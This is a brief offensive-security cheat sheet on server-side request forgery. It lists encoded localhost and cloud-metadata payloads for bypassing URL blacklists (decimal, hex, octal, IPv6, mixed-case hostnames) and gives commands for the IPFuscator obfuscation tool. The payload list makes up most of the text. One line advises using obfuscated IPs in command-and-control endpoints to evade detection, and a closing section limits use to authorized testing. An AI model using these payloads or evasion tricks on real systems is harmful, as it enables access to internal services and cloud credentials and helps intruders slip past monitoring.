🛑 Some SSRF Payloads

Classic Bypasses

  • http://00000
  • http://2130706433 (127.0.0.1 as decimal)
  • http://0x7f.1 (hex + dot notation)
  • http://metadata (short & sweet)

Why these work

  • Blacklists often miss decimal/hex/octal IP encodings.
  • 00000 → 0 → localhost in many parsers.
  • Short hostnames like metadata can bypass filters that only check for the full cloud metadata IP (169.254.169.254).

Pro Tips

  • Try http://0x7f000001 (hex full IP)
  • Use IPv6 forms like http://[::]:80 for IPv6 bypass attempts
  • Mix case in hostnames: MetaData or MeTadAta (some filters are case-sensitive)

⚠️ SSRF blacklists are the easiest to bypass. Most regex filters fail on even basic encoding tricks. Use these techniques only in authorized testing environments.

🛠 What is IPFuscation?

IPFuscation is the practice of representing IP addresses in alternative formats (decimal, hexadecimal, octal, or mixed forms) which many parsers still interpret as the same target address. This can defeat naive blacklist filters, logging rules, or simple string matches used in defenses.

Tool: IPFuscator

Usage

git clone https://github.com/vysecurity/IPFuscator
python ipfuscator.py 127.0.0.1

Sample outputs

  • Decimal: 2130706433
  • Hexadecimal: 0x7f000001
  • Octal: 017700000001
  • Mixed Formats: 0x7f.0x0.0.01 or 0177.0.0.01
  • Padded/obfuscated: 0x000000000007f.0x000000000000000000000000000000.0x0000.0x0000000000000000000000001

You can use these variants in URLs, command arguments, or C2 endpoints to evade simple detections.

Why it works

  • Many defenses match literal strings like 127.0.0.1 or localhost.
  • Alternative representations of the same IP often bypass naive filters or regexes.

🧠 Safety & Ethics

  • Only use SSRF payloads and IP obfuscation techniques on systems you are authorized to test.
  • Misuse can lead to serious legal consequences and harm other systems.
  • When testing cloud metadata endpoints, avoid exfiltrating secrets — focus on detection and responsible disclosure.

🔗 References & Tools

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